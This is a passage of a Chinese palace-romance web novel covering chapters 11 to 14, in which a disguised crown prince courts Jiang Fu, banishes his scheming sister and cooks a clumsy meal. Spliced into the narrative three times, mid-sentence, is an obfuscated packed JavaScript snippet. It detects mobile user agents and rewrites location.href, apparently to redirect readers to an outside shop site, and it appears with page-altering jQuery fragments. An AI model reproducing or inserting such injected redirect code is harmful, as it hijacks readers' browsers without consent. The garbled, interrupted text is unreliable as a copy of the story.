萧隐便知她是听进去了,慨然笑道:“我想借这个机会补偿娘子,向娘子求和。” 萧隐起身,半蹲到她面前,问:“我如此真心实意,娘子也不肯宽宥半分吗?” 他这辈子还没有如此伏低做小的哄过什么人,如今做起来,倒也丝毫不显生涩,神情、动作配合得相得益彰,叫人看了很难不心软。 因为他说得实在是太真情实感了。 江芙也不能免俗,她看着萧隐那张俊朗的脸,踌躇片刻,问:“你说的都是真的吗?” 当然都是假的。 萧隐心内如此回道,几乎在忍笑了,面上却愈发诚挚:“自然,萧某一片真心,天地可鉴。” 江芙脸色变了几变,最后叹道:“你蹲着也不嫌脚麻。” 萧隐便顺势在她身侧坐下。 烛火摇曳,堪堪能照亮脚下方寸之地,投到他们这儿来的,只有一点微不足道的亮光。 昏暗的光线下,江芙长睫低垂,似有心事。 萧隐看着她,不知为何,熄了手中的火折子。 又少了一道光后,此处愈发昏沉,江芙面容也变得模糊不清,萧隐却看得更认真了。 过了不知多久,江芙开口:“肖公子,我生气,并不是为一个玩笑,而是因为,你没把我的名节当回事儿,这让我感觉……很不舒服。” 她抬起眼,睫毛像是一把小刷子,柔柔拂过萧隐心头。 江芙声线柔和,不唇枪舌剑的与人斗嘴时,是很容易让人听进心里去的。萧隐换了个姿势,道:“愿闻其详。” 江芙道:“肖公子新科中举,又得太子赏识,自是前途无量,可我却是父母双亡,身后再无退路,汲汲营营,所求不过一方立锥之地。” “那日倘若真被人发现,于肖公子而言,不过一桩风流韵事,可于我,却是万劫不复之灾。”江芙认真地看着他,缓缓道,“我知道肖公子是在与我玩笑,可这是不是也说明,公子始终没把我的处境放在心上,或者……根本没考虑过我的处境。” 萧隐沉默不语,神情间多了几分思索。 诚然他心里清楚,什么事都不会发生,但也不得不承认,江芙说的是对的。 过了片刻,他道:“江娘子说的是。” “是我考虑不周了。” 语气正经许多。 萧隐起身,在石壁某处敲打几下。 随着“轰隆”一声巨响,天光乍泄。 江芙本以为这密道是通向秦王府外的,可出去一看周遭景致,发觉竟还在府中。 萧隐见状,解释道:“先帝将这座府邸赐给秦王前,曾扩建过一次。” 原本通向府外的逃生密道,就此成了摆设。 江芙点点头,辨了下路,正准备回去时,萧隐从身后叫住她:“江娘子。” 江芙回头,日光之下,萧隐唇边挂着浅笑,十足温润谦逊的模样。 她犹豫一瞬,还是驻足等候。 萧隐上前,温柔地拉住她的手,道:“冒犯了江娘子,是我之过,我已然知道不对了,还望娘子日后不要再冷待于我。好吗?” 春意朗朗,韶光淑气,萧隐那张温润俊朗的脸,再配上那副诚恳真挚的神情,实在是很有说服力。 这样知情达趣,品学、才干,相貌都挑不出问题的郎君,实在是完美到无可挑剔。 江芙被美色蛊惑,有些动容。 但很快她回过神,抽了下手,却发现萧隐抓得很紧,她根本拿不出。 萧隐仍是深情款款的模样:“江娘子,再给我一次机会罢。” 江芙无奈地叹了口气,道:“肖公子言重了,你我一直都是朋友。” 萧隐这才放开她,彬彬有礼地给她指路,道:“江娘子,从这边回去快些。” 江芙问:“你不回去吗?” 萧隐道:“不了江娘子,我还有些事。” 他抬手扶了江芙一把,不动声色地在她腰间一抹,道:“这边都是石子路,江娘子一路小心。” 江芙不疑有他,转身离去。 她终究还是心软,不敌萧隐没心没肺。 萧隐望着她的背影远去,心情大好,背手回了房,对侍从道:“去把公主叫来。” 萧陵月带侍卫搜人,闹得大半个秦王府人仰马翻,却一无所获,被叫过去时,便知道自己一顿罚是逃不了了,但她还心存侥幸,进去后小心翼翼地叫了声:“皇兄。” 萧隐面上含笑,指间捻着个东西翻来覆去地玩。 萧陵月见状,猜测他心情不错,大着胆子问:“皇兄叫我来做什么?” 萧隐没答她的话,对左右道:“都下去。” 众人俯首,悄无声息地退了出去。 随着门板合上的“吱呀”一声脆响,光线暗了几分,萧陵月强笑道:“皇兄这是做什么?” 萧隐望着她,面上仍挂着浅笑,眼底却半分笑意也无,缓缓问道:“我为什么叫你来,你不知道吗?” 在这样极具压迫感的目光下,萧陵月几乎站都站不稳了,但她觉得自己的计划应该没人知道,便强撑道:“皇兄说得可是我大肆搜查秦王府的事?此事是我做的不妥,但我也是担心堂兄安危,那贼人在秦王府行凶,我岂能轻易放过她?” 萧隐彻底没了耐性,指间一弹,一样物事飞射到萧陵月膝头,疼得她嗷呜一声,跪倒在地。 萧陵月眼睛一红,张嘴就要哭,却在看清了地上的东西时,诡异地停下了动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011033|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那是一节叠得规规整整的纸条。 无需再看,没有人比她更清楚里面的内容。 萧陵月手脚一软,惊惧地望着自己的皇兄。 他都知道了?他怎么知道的? 是江芙告诉他的吗? 萧隐起身,月白衣摆纤尘不染,站在距萧陵月三步之遥的位置,居高临下地看着她,道:“太医说,萧临川性命无虞,但脑内尚有淤血,能不能再醒过来,还无定数。秦王子女虽多,但只有这一个孩子是秦王妃所出,一出生就为他请封了世子。萧陵月,你知道你这回惹了多大的祸吗?” “皇兄!”萧陵月哀嚎一声,涕泗横流,道,“但王叔王婶他们不知道是我啊!你要救救我!皇兄!” 她扑上前去欲抓萧隐的衣摆,萧隐后退一步,道:“你当王叔和你一样蠢么?” 萧陵月手悬在半空中,忽然想起些什么,道:“我知道是谁伤了萧临川,她——” 萧隐冷然道:“那又如何?你敢让王叔得知实情吗?” 萧陵月一张俏脸瞬间惨白如纸。 她匍匐在地,终于发觉再没有人可以为自己顶罪后,哀求道:“皇兄你帮帮我,这件事若被查出来你也会被人诟病,我们同母所出,一荣俱荣,一损俱损啊!” 萧隐丝毫不理会她的威胁,冷静道:“我会上禀父皇,萧临川受伤,你与他兄妹情深,自请去护国寺清修三年,为他祈福祝祷。” 萧陵月怔住,片刻后,哭道:“皇兄,你怎么能如此待我,我可是你的亲妹妹,你怎么能这样舍弃我!” 萧隐道:“正因为你是我的亲妹妹,闹出这样的事,也只是去清修三年。” 萧陵月喃喃道:“皇兄,你这样做,母后不会高兴的……” 萧隐道:“但她也不会反对。” 萧陵月抬起头,用一种很无助,很绝望的眼神看着萧隐。 他高高在上,宛如神邸,衬得她愈发卑微、渺小。 恍惚间,她听见自己的皇兄轻叹一声,头一次用类似教训小孩子的口吻对她道:“萧陵月,你已经到了该为自己的愚蠢付出代价的年纪了。” 阴晦的光影之下,他的眉眼竟显出几分罕见的悲悯。 秦王府的这场闹剧,最终以世子遭贼人加害,公主担忧兄长,去护国寺祈福为结局草草收场。事后,皇后和太子又赏赐不少了东西安慰秦王夫妇,萧隐更是代表皇帝又走了一趟秦王府。 短短几日,秦王妃头发就白了不少,与寿宴上那个意气风发的美妇人简直判若两人,秦王面容憔悴,见太子莅临,强撑着在外间作陪。 萧隐道:“王叔节哀。” 秦王低叹一声:“是臣教子不严。” 那日的事还没等秦王查个分明,太子就派人清理了现场所有痕迹,让侍卫们停止搜查,再结合萧陵月反常的举动,如秦王这等聪明人,自然不难猜出是自己儿子和五公主瞒着他们在背后搞了什么小动作。 而太子显然无意深究。 萧隐看了眼仍守在萧临川床前的秦王妃,突然道:“临川昏迷不醒,日后府中事务,就要临江多照看了吧?” 萧临江是秦王第二子,虽是侧妃所出,但才思敏捷,很得秦王喜爱。 秦王闻言,来了些精神,道:“是,临江稳重,临川出事之后,迎来送往,他没少奔走。” 萧隐颔首,道:“临江表弟的才学,我早有耳闻,正巧原来的户部员外郎去兖州赴任了,让临江调个日子入朝,权当历练吧。” 秦王眼睛一亮,本因长子之事灰败了好几日的脸上又见血色,起身道:“臣替犬子多谢殿下抬举。临江幸得太子赏识,日后定会以您马首是瞻。” 萧隐虚扶了一把,脸上浮现出淡淡笑意:“不必,为朝廷做事罢了。” 12. 第 12 章 从秦王府出来后,萧隐又去了趟长乐宫。 深宫寂寥,本就凄清冷落的宫殿在萧陵月离去后又裹上一层萧瑟,萧隐进去时,见徐皇后手捧一封书信,正潸然泪下。 寿宴结束后,萧隐直接一顶小轿,将萧陵月送去了护国寺,根本没给她面见帝后的机会,显然萧陵月不甘于此,即使见不到皇后,也送来了书信为自己求情。 见萧隐进来,徐皇后收起手中信件,问道:“你王叔他们……可有何怨言?” 萧隐道:“都处理好了。” 徐皇后点点头,又道:“这件事我总觉得哪儿不对,萧临川的伤当真是自己摔出来的?我听说他是后脑出血,那个位置,一般摔不到吧?” “母后。”萧隐声音中带了几分无奈与疲惫,“您别再瞎想了。一切就如儿子所说:陵月与萧临川合谋陷害江芙,但江芙没中计,反倒是萧临川自己喝酒喝多了,不小心跌倒,后脑摔在假山上了。” “那江芙当真从头到尾都没去过明月亭?” “没有。”萧隐面不改色道,“儿子问过当时在场的人,江芙从头到尾,都没离开过座席。” 徐皇后不语。萧隐又淡淡道:“再者,就算萧临川是江芙所伤,对现在的情况,又会有什么改变吗?” 这件事从头到尾,都是萧陵月和萧临川害人不成,咎由自取,江芙充其量是一个或不知情、或被动自卫的受害者,断没有追究她的道理。 徐皇后又何尝不明白,只是她不愿意接受女儿是这样一个愚蠢又恶毒的人,总想再寻些理由来为她开脱。 沉默片刻,徐皇后轻叹道:“月月去护国寺,定安伯府可有说些什么?” “他们不敢。”萧隐漠然道。 徐皇后思付道:“月月此去,就算宫里说是祈福,外面的人定然也议论纷纷,还是要给定安伯府下些赏赐,以示恩宠。” 萧隐蹙眉,显然对此举不甚认同。 徐皇后缓缓道:“我知道你在想什么,但月月那样喜欢魏延年,早晚还是要嫁过去的。” 既然萧陵月早晚要和魏延年成亲,即便是皇家,也不好太不顾及亲家感受,做得太难看。 徐皇后身为母亲,总还是希望女儿有个和顺美满的婚姻,可在萧隐看来,萧陵月婚事是否顺利,与她本人其实没有太大关系,而是要看萧隐太子之位坐不坐得稳。 若坐得稳,便如这次一般,即使她惹出天大的祸来,也没人敢追究她的责任,若坐不稳,她所倚仗的一切特权都会消失,以萧陵月骄横的性子,和谁成亲都不会相处得太好。 至于那定安伯府,是记打不记吃的一家,恩宠再多,也不影响他们翻脸不认人。 但徐皇后一意坚持,萧隐也不想在这等小事上惹母后不快,便道:“我去安排。” 赏赐到定安伯府时,阖府出来领旨,皇后赏赐颇丰,给府中上下,甚至几位未出阁的小姐都赐了首饰。 这样的事本该和江芙无关的,奈何懿旨来时,她正与魏家的几个娘子听郭氏闲话家常,所有人都走了,不好留她一个,便也跟着来了。 皇后这道旨意所言无非有二,一是安抚,萧陵月去清修三年,魏延年就要等她三年,故重赏定安伯府,以示恩宠。 另一层,则是警告。 阖府上下都赏了东西,唯独魏延年没有。 他可是萧陵月的未婚夫。 魏家上下不知秦王府一事的内情,就连魏延年本人,也一头雾水,但这一番连消带打下来,明眼人都能看出,皇后这是对他有所不满。 至于不满的源头,自是不必多说。 众人隐晦地看向江芙。 几乎就差明着说了,你与江芙的事我已经知道了,叫他在萧陵月不在这三年老实点。 魏延年的脸色变得十分难看,被郭氏看了一眼才有所收敛。 郭氏笑道:“公公辛苦了,留下喝杯茶吧。” 传旨的老太监是东宫的人,一甩拂尘,道:“夫人客气了,咱家还有些事,就不坐了。”说罢环顾一周,尖着嗓子问:“哪个是江娘子?” 众人的目光齐刷刷汇聚在江芙身上,其中不乏看好戏的意味。 江芙没料到还有自己的事儿,但情况由不得她多想,上前柔声道:“公公,我便是江芙。” 她心知经萧陵月一事,皇后或是太子对自己都不会有什么好印象,故而态度摆得很恭谦。 那老太监上下打量她一番后,态度却出乎意料地和善,低声道:“江娘子,太子知道你受委屈了,特意叫奴才把这个交给江娘子。” 江芙惊讶地抬起眸,:“殿下他……” 老太监道:“殿下已从肖公子那儿得知原委,知道错不在江娘子。” 江芙早已做好被牵连,甚至被怪罪的准备,乍然听闻完全相反的消息,意外之余,不免有所触动。 这位太子殿下,果然如传闻中一样的公正、贤明,慈悲。 江芙双手接过,突然想起些什么,问:“公公刚才说肖公子……” 老太监颔首,煞有其事道:“那日在太子面前,肖公子可是为您说了不少好话呢。” 江芙长睫微颤,握紧了掌心的檀木盒,道:“多谢公公告知。” 老太监和颜悦色,道:“不谢,不谢,应该的……” 其他人本以为那太监特意点出江芙,定少不了一番刁难,未料不仅没有,气氛竟还格外融洽,纵然隔了段距离听不清声音,也能看出两人相谈甚欢。 尤其是那老太监,满脸堆笑,与方才面对定安伯府一众人时判若两人。 郭氏看着这一幕,笑容中带了些谨慎,等传旨的人离开后,试探道:“阿芙……” “太子仁慈,得知那日我也在寿宴上,送了个礼物来给我压惊。”不等她问,江芙就轻轻柔柔道,说罢打开刚落入手的檀木盒,“就是这个,比不得各位姐妹们。” 明黄锦缎之上,赫然躺着支质地温润,巧夺天工的白玉发簪。 那发簪通体由白玉打造,模拟玉簪花沾露垂首时的模样,通体晶莹,栩栩如生,就连花瓣上的露水都惟妙惟肖,一看就知道绝非俗物。 这还比不得别人吗? 众人腹诽。 就连江芙也很意外。 她本以为太子只是赏赐些寻常珠宝,这才大大方方地展示出来了,未料是如此贵重之物,如此一来,她方才的谦虚反而像故作炫耀了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011034|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但姿态已经拿出来了,这份礼物也确实有让她炫耀的本钱。江芙扶了扶鬓角,矜持道:“都是天家的赏赐,没有贵贱之分,都是君恩浩荡。” 话都让她说完了,众人脸上青一阵白一阵。 脸色最难看的还要数魏延年,在听闻太子单独给江芙赏赐后,他一张俊脸就变得铁青。 郭氏显然与儿子想到一处去了,沉吟道:“阿芙,你与太子……” 江芙一手抚过玉簪,心思一转,微微笑道:“姨母觉得呢?” 郭氏嘴角紧绷。 江芙合上盖子,道:“我与太子殿下从未见过,今日赏赐于我,大约也是看我可怜吧。” 她字字句句都是实话,可有了前面那句,落在旁人耳中就是矫情饰貌了。 魏延年终于忍不住上前一步,道:“芙儿……” 江芙淡淡看着他,这次不等她开口,郭氏就先一步制止道:“延年,阿芙是你表妹,也不讲点礼节?” 以前魏延年做什么,郭氏都是睁一只眼闭一只眼的,但若江芙真得了太子青睐,那就不能由着魏延年胡来了。 魏延年停在原地,满脸深情不甘地望着她。 郭氏道:“阿芙,你住那个院子太过偏僻,明日起搬到南院来住吧。” 江芙闻言,很是不好意思地推辞道:“我借居在此,已经很劳烦姨母了,怎好再兴师动众。” 郭氏道:“不麻烦,我本也想让你住到南院去,和姐妹们做个伴儿,只是你刚入府时家中事忙,姨母一时没腾开手安排,这才拖延至今。” 南院是伯府未出阁的小姐们的居所,环境比起江芙那方破败小院自是好了不止一星半点。江芙本只想借太子拿捏住魏延年,没想到还有意外之喜,当下做足了晚辈的样子,几番推诿后才“不得已”同意。 她温柔恭顺地谢过郭氏,回了院子,弯腰抱起正在和兔子玩的江薇,道:“薇薇,我们要换大院子啦!” 小丫头听了,却先问她:“姨母是和你说了什么吗?姐姐。” 江芙刮刮她的鼻子,亲昵道:“没有哦,姐姐厉害吧!” 江薇这才开心起来。 江芙把江薇放下,叫她继续去找兔子玩,转头看到云翘担心的眼神,又将前因后果说了一遍,云翘放下心来,道:“魏夫人真是……看人下菜碟儿。” 江芙没说话。 借居他人府上,按理说给人添了麻烦,她怎么都不该抱怨的。可她始终忘不了,入府第二日时,她带着江薇去给郭氏请安,在房门外听见她对嬷嬷抱怨:“当初又不是我求着她外祖救我爹的,怎么挟恩图报还能算到我头上?亏我当初还以为她们家是什么好人,没想到在这儿等着呢,几十年前的事了,如今却要我养两张嘴!” 旁边的嬷嬷安抚她:“姑娘消消气,当年如果不是谢老太爷出言相助,咱家老爷就算能保住一条命,流放也是跑不了的。如今就当还恩吧。” 郭氏道:“以谢家当初的权势,不过上下碰个嘴皮子的功夫,这算什么恩?” 江芙姐妹站在门口,将里面的对话听了个清清楚楚,直到婢女进去通传,郭氏才止住话音。 自那以后,她就再没带江薇去过郭氏那里。 13. 第 13 章 想起之前的事,江芙不由失神,直到云翘在旁边叫她:“娘子。” 江芙转头,问:“怎么了?” 云翘指指手中编了一半的竹笼,苦恼道:“又被兔子啃了。” 江芙“啊”了一声,拿过来看了看,也很头大:“兔子不是不吃竹子吗?” 云翘道:“可能它们知道这是关它们用的吧。” 自那两只兔子“越狱”之后,那个铁笼就再也关不住它们了,只要江芙和云翘一个不注意,它们就能莫名其妙出现在院子的各种角落,好在它们也没有要出去的意思,只是在不同的地方默默地啃着干草,江芙也就没着急,让云翘再编个大点的竹笼。 偏这两只兔子好似通了人性,什么都不啃,只啃这个。 “还有一事……”云翘拎起一只兔子,有几分难为情道,“娘子,这只兔子好像怀孕了。” 江芙低头,与那只缓慢咀嚼着干草的大白兔子对视。 她揉揉额角,问:“它们是什么时候……算了,怀都怀了,好生照料着吧,等生下来再说。” 云翘点点头,又道:“家里的干草快没了。” 江芙道:“我等会儿要出门,顺便给它们带点回来。” 云翘问:“是要去见肖公子吗?”江芙在外面的事,她也知道几分。 江芙道:“他帮了我这么大的忙,于情于理,我都要走一趟。” 若没有肖译在太子面前美言,她就算不被牵连,也不可能有什么恩赏。 云翘道:“那娘子早些回来。” 江芙摆手:“等我给你们带糕点。” 她出门,雇了辆马车去肖译家里,此番前来没有提前递拜帖,江芙原以为要扑个空,心意到了人就回去,谁料刚叩了两声,门就从里面打开了。 春光明媚,萧隐仿佛对她的到来早有预料,款款微笑道:“江娘子。” 江芙身子都转走半截了,讪讪道:“肖公子。” 萧隐贴心地侧过身,让开路,道:“江娘子里面请。” 江芙摸了摸鼻子,提裙进去,道:“我是来谢过肖公子替我在太子面前美言的。” 萧隐一手负于身后,一手提壶倒水,示意她坐下:“不客气江娘子,应该的。” 江芙捧着茶盏,见不过几日,这院中就处处都是生活过的痕迹了。 院中晒着干辣椒和旧书,摞成垛的干柴,西边的耳房窗子支起一角,隐约可见残墨纸张。 她其实有些不太知道该怎么和萧隐相处了,尴尬道:“你身边那小童呢?怎么不见他。” “他出去送东西去了。”萧隐随口一扯,在她对面坐下,若有似无地抱怨道,“江娘子是来找我的还是来找他的?怎么一进门就提他,也不问问我怎么样?” 江芙无奈:“自然是因为肖公子已经好端端坐在我面前了。” “好罢。”萧隐换上一副关切的面容,道,“江娘子不问我,我这几日可是很挂念江娘子的。” 江芙生怕他说什么腻人的情话,萧隐开口却是:“回去后,江娘子害怕了吗?” 江芙一愣。 片刻后,语气软和了些:“没有。” 萧隐看她的目光愈发欣赏:“那日鲜血淋漓,寻常男子见了都要害怕,江娘子胆识着实过人。” 江芙道:“我与妹妹入京路上,已经看习惯了。” “哦?”萧隐放下茶盏,“愿闻其详。” 江芙想了想,道:“其实也没什么好说的,无非是些山匪流寇,拦路打劫的勾当。有一次在距江阳不逾百里的山上,有一伙山匪拦了车队,向我们要过路费,前面有几人不肯交,与他们起了争执,那才是……” 都是些砍人脑袋如切菜的亡命之徒,想也知道结局。 萧隐关注点却很偏:“江阳乃帝都,天子治下严明,城外竟也有山匪安营扎寨吗?” 江芙欲言又止。萧隐道:“江娘子但说无妨,我你还信不过吗?” 更严重的事他都知道了,甚至还可以称一句共犯,江芙想想也是,便道:“那伙人武器精良,纪律严明,看着不像山匪,倒像……” “倒像是以山匪之名,盘踞在此的军队。”萧隐徐徐接道。 江芙点点头。 她自小随父母行走于各地州县,也算见多识广,寻常山匪,总是透着股过了今天没明天的劲儿,而江阳城外的那伙人,虽看似流里流气,却外松内紧,甚至可以称得上一句令行禁止。 江芙当即就发现了这伙人的异常,但转念一想,能在江阳地界占山为王的,朝中定是少不了靠山,没准还是哪位大人的“私产”,就没有多事。 现下萧隐问起,她也不妨一提,反正他早已拜入太子门下,若真有问题,他自会去上禀太子,那就不干她的事儿了。 萧隐果然继续问起那伙人的人数,武器,方位,江芙一一告知。萧隐神色间透出几分慎重,道:“多谢江娘子,我回去后上禀太子,定少不了你一份功。” 江芙实在不想和天家有任何牵扯,道:“不必了肖公子,你不用提我。” 萧隐只正经了那么一会儿,听到江芙的话,复又笑开:“这怎么行呢?明明是江娘子先发现的,我岂敢居功?” 江芙看了他一会儿,面无表情道:“那就劳烦肖公子把我的功劳说得更大些,让太子好好封赏我。”说罢起身欲走 不好骗了。 萧隐闷笑出声,拉住她,道:“好了好了,江娘子,我错了,不逗你了。” 萧隐正色道:“我的错我的错,老毛病又犯了,娘子不要怪罪我,好不好?” 江芙实在不想理他,偏她往哪边侧头,萧隐就跟着凑到她眼前来,还一个劲儿道:“江娘子理理我呗。” 江芙忍了一会儿,终于破功,口气柔软不少,道:“好了好了,再说下去反倒显得我小家子气了。肖公子挪挪步,我真该走了。” 萧隐却仍挡在她面前。 江芙蹙眉道:“肖公子?” 萧隐目光在院子里转了一圈,突然道:“江娘子也来我这儿许多次了,还没留你用过饭,实在是太失礼了,也快到午膳的时辰了,江娘子在这儿吃了再走吧。” 江芙拒绝道:“不了……” 萧隐却已迅速按着她坐下,热情道:“来来,不用客气,江娘子稍等片刻,饭菜很快就好。” 江芙看他一闪身进了厨房,无奈地叹了口气。 萧隐总是用看似温和,实则十分强硬的姿态让人做事,偏江芙被他这套吃得死死的。 等了没一会儿,厨房中传来股肉香味儿,江芙捧着茶盏,正想着这菜是不是熟得太快了些,她好像还没听到切菜备菜的声音时,里面突然“轰隆”一声巨响,涌出股黑烟。 江芙一惊,放下茶盏冲进去,在一片浓烟中抓住了萧隐的胳膊,把他往外拽,同时眼疾手快地盖住了着火的铁锅。 萧隐被呛得不轻,一边咳嗽一边解释道:“江……咳,江娘子,新家的厨灶我用不太熟,让江娘子见笑了。” 烟雾散尽,江芙看着地上烧成一块黑炭的猪肉,沉默片刻,道:“肖公子,你不是不熟悉厨灶,你是压根没做过饭吧?” 再不熟悉厨灶,一些基本的东西总是互通的,能搞出这么大阵仗,唯一的解释就是他从没进过厨房了。 萧隐难得郝然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011035|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江芙静静看着那块烧焦的猪肉,突然道:“我记得肖公子与母亲相依为命,家中再无其他人,以前都是令堂做饭吗?” 肖译虽不算什么大孝子,却也称得上一句“纯孝”,据说他老母病重时,他曾三天三夜衣不解带侍奉在床前,肖母牙齿掉光了吃不下饭,他就把食物嚼碎了一点点喂进去,可谓用心至极。 萧隐闻言,握拳虚掩在唇畔,低头咳了两声,带了几分羞愧,道:“实不相瞒,我母亲一心想让我考取功名,光宗耀祖,这些杂务,是从来不让我沾手的,后来母亲病重,家中琐事都是之前那老仆料理。我确实不太会做饭。” 江芙不为所动:“都说穷人家孩子早当家,以前就算了,到了江阳后,肖公子一人独居,还是没做过饭吗?” 萧隐道:“做过的,只是……” 江芙做洗耳恭听状。 萧隐这才难为情道:“我上次不是和江娘子说刚搬来此处吗?,就是因为这件事,我做饭时不小心把人家厨房烧了,东家不肯再租给我,我才不得已另寻居所。” “那肖公子这些日子是?” “在东街的朝云酒楼吃。”萧隐真诚道,“他家饭菜实惠得很。” 江芙望着满地狼藉,沉吟不语。萧隐摸摸后脑勺,不好意思道:“今日江娘子来,我本想在你面前露一手的,没想到还是让你看了笑话。算了,我们去酒楼吃吧。” 江芙没拒绝,也没同意,萧隐便拉着她往外面走。 一直到门口,江芙才轻轻挣开他,道:“算了,肖公子,在家里对付一口就行了,不必破费。” 萧隐有些意外地看向她,像是不明白她怎么突然改了主意,但很快,还是笑着应下:“全听江娘子的。” 两人折返回去,面对着凌乱不堪的灶台,江芙也发愁了。 她不想和萧隐一同出去,但让她动手收拾这堆烂摊子,她也不愿意。 萧隐似乎看出了她在想什么,殷勤地搬了个板凳过来,道:“江娘子,你坐,要做什么你和我说就是,我来动手。” 江芙这才满意,指挥着他把灶台先收拾干净,看了圈屋里的食材,道:“肖公子第一次做,就不要弄太麻烦的了,煮个饭,炒两个简单的菜就好。” 萧隐疑惑道:“最简单的难道不是面条吗?” 江芙耐心道:“但家里并没有准备好的面团,还要揉面,肖公子会吗?” 萧隐立刻谦虚道:“是我想岔了。” 江芙道:“淘米这些……” 萧隐很积极:“江娘子说,我学着就是。” 江芙本想说淘米这些你总会吧,听到萧隐的话音,又闭上嘴。 萧隐身形高大,在灶台间忙碌时显得有些局促,但他动作有条不紊,刀该怎么握,丝要切得多细,江芙只需稍微指点两句,他便心领神会,每一样都做得极好。 很快,无需她再说什么,萧隐已驾轻就熟,甚至在煮汤时,还顺手炒了盘简单的菜。 锅碗瓢盆交错碰撞,一会儿是热油下锅,一会儿是砧板剁菜,江芙听着听着,就有些犯困,支着头睡了过去。 不知过了多久,她鼻尖微痒,睁开眼,入目是一张满含笑意的俊朗面容。 萧隐眼底藏着一点微不可察的促狭,道:“江娘子,别睡了,起来吃饭了。” 江芙摸了下自己的鼻子。 是一点雪白的面粉。 萧隐笑意更盛。 江芙皱眉,不知哪儿来的脾气,反手抹到萧隐脸上去了。 萧隐没躲,而是抓着她的手覆在自己脸上,低低笑道:“这也要生气……江娘子,你要不干脆扇我一巴掌吧。” 14. 第 14 章 日光疏影,一枕南柯。江芙望着那张脸愣了片刻,抽回手,嘟囔道:“胡说什么?” 耳根却已微微泛红。 萧隐不语,只含笑望着她。 江芙避开他的目光,去灶上看了看,故作镇定道:“做的不错。” 萧隐悠然跟在她身后,道:“还要多亏江娘子指点。” 他将饭菜端到外面的石桌上,道:“我刚尝了一下,觉得还算不错,江娘子尝尝合不合味口?” 江芙于吃食上堪称挑剔,寻常饭菜于她而言不过是能“入口”,远达不到“好吃”的标准。但萧隐头一次下厨,她有意多鼓励他两句,浅尝一口就道:“不错,很好吃。” 萧隐夹了一筷子笋丝吃了,道:“第一次做,还不太好,等我回去再练练。” 江芙戳了戳米饭,没说话。 萧隐又吃了两口就放下碗筷,这菜味道实在一般,他嘴挑得很,即使是自己亲手做的也懒得做样子,结果他刚放下筷子,江芙也放缓了用餐的速度。 萧隐一看便知她是不好意思吃得比他还多,心底轻笑一声,又拿起筷子装模作样,直到江芙吃得差不多了,才后她一步放下碗筷。 江芙拿帕子点了点嘴角,道:“多谢肖公子款待,我先回去了。” 萧隐跟着起身:“我送送江娘子。” 江芙看他一眼,知道自己拒绝不了,索性也由得他去,只道:“我还要去买些干草。” “干草?”萧隐很快反应过来,“那两只兔子还养着呢?” 说到这个江芙就有些烦恼:“还有一只怀崽儿了。” 萧隐道:“我送的时候倒是没注意到还是一公一母……怀崽了吗?那江娘子接下来可要当心些了。” 江芙道:“此话怎讲?” 萧隐同情道:“它们接下来很可能会一窝接着一窝,不停的生。” 江芙狐疑道:“不可能吧……” 萧隐认真道:“真的。” 他也就这一句话说得实在,奈何前科太多,江芙根本就不信,看了他一会儿,扔下一句“又在耍我”走了。 萧隐憋笑,快步跟上去,道:“江娘子等等我,好啦,不信就不信,但我说的是真的,你回去记得把它们分开养。” 江芙不想理他,可她快萧隐就快,她慢萧隐就慢,根本甩不掉,最后只得让他送到了门口。 定安伯府侧门前,萧隐把提了一路的干草交给江芙,道:“江娘子慢行,我先回去了。” 江芙正要应声,这时府前却出来个人,那人正回身和小厮说话,一时没注意到他们这边。 是魏延年。 江芙飞速瞄了萧隐一眼,对方立刻道:“躲好是吧,我知道。” 说罢立刻藏身到院前的榕树后。 江芙抬起的手还未收回,心道,我让你藏了吗? 但把人叫回来的事她也干不出来,显得她多期待萧隐见她家里人一样,便装作这就是自己的本意。 魏延年这时也看到了她,上前拱手道:“芙儿……芙妹妹。” 江芙屈膝还了一礼:“三表哥。” 魏延年大约是被警告过什么,再见她时,没有以往的孟浪,叙了两句话就走了,只眼神还是恋恋不舍。 江芙权作不知,等他走后去寻萧隐,却见榕树之后,已人去楼空。 她在原地站了一会儿,突然踢了脚无辜的大榕树,扭头走了。 郭氏雷厉风行,早上说了要迁院子,这会儿屋里已经空了,东西都搬得差不多了,只剩江薇和云翘两个人守着空落落的院子等她。 江薇抱过她手里的干草,笑道:“是小兔子的饭饭!” 江芙也笑:“对呀,是小兔子的饭饭!” 江薇小小一个人,拎着两只兔子和一大包干草走在前头,哪个都不肯松手,江芙和云翘就在她身后跟着,边走边道:“姨母安排我们去哪了?” 南院泛指伯府南角很大一片院落,云翘道:“是蕊香居,奴婢去看了,还算干净齐整,和四小姐七小姐九小姐十二小姐的院子都离得很近。” 江芙道:“也好,这样我不在家时,薇薇也可以和同龄人说说话。” 